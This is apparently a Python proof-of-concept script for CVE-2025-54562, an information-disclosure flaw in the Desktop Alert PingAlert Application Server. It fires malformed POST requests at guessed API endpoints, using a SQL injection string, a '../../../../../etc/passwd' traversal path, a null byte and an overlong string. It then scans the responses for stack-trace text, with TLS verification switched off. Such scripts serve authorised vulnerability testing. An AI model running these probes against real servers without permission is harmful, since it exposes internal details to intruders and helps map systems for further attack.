# CVE-2025-54562 PoC - Desktop Alert PingAlert Stack Trace Information Disclosure
# This PoC demonstrates how to trigger stack trace disclosure
import requests
import sys
def test_cve_2025_54562(target_url):
"""
Test for CVE-2025-54562: Information Disclosure via Stack Trace
Target: Desktop Alert PingAlert Application Server
Versions: 6.1.0.11 to 6.1.1.2
"""
print(f"[*] Testing target: {target_url}")
print(f"[*] CVE-2025-54562 PoC - Information Disclosure via Stack Trace\n")
# Test cases to trigger stack trace
test_payloads = [
# Malformed parameter values
{"name": "Empty parameter", "data": {"id": ""}},
{"name": "SQL injection attempt", "data": {"id": "' OR '1'='1"}},
{"name": "Special characters", "data": {"id": "../../../../../etc/passwd"}},
{"name": "Numeric overflow", "data": {"id": "999999999999999999"}},
{"name": "Null byte injection", "data": {"id": "\x00test"}},
{"name": "Long string", "data": {"id": "A" * 10000}},
]
# Common endpoints that may be vulnerable
endpoints = [
"/api/alert",
"/api/ping",
"/api/status",
"/api/health",
"/alert/status",
"/ping/check"
]
vulnerabilities_found = []
for endpoint in endpoints:
url = target_url.rstrip('/') + endpoint
for payload in test_payloads:
try:
print(f"[*] Testing {payload['name']} on {endpoint}")
# Send request with malformed data
response = requests.post(
url,
json=payload['data'],
headers={
"Content-Type": "application/json",
"User-Agent": "CVE-2025-54562-PoC"
},
timeout=10,
verify=False
)
# Check for stack trace indicators
response_text = response.text.lower()
stack_trace_indicators = [
"stack trace",
"at line",
".java:",
"exception in thread",
"nullpointer",
"null pointer",
"arrayindexoutofbounds",
"at com.",
"at system.",
"stacktrace",
"exception",
"error",
"caused by:"
]
matches = [ind for ind in stack_trace_indicators if ind in response_text]
if len(matches) >= 3: # Multiple indicators suggest stack trace
print(f"[!] VULNERABLE: {endpoint} - {payload['name']}")
print(f"[!] Stack trace indicators found: {matches}")
vulnerabilities_found.append({
"endpoint": endpoint,
"payload": payload['name'],
"indicators": matches,
"status_code": response.status_code
})
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
# Summary
print(f"\n[*] Scan complete")
print(f"[*] Vulnerabilities found: {len(vulnerabilities_found)}")
if vulnerabilities_found:
print("\n[!] VULNERABLE ENDPOINTS:")
for vuln in vulnerabilities_found:
print(f" - {vuln['endpoint']} ({vuln['payload']})")
return vulnerabilities_found
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-54562-poc.py <target_url>")
print("Example: python cve-2025-54562-poc.py http://target.com:8080")
sys.exit(1)
target = sys.argv[1]
test_cve_2025_54562(target)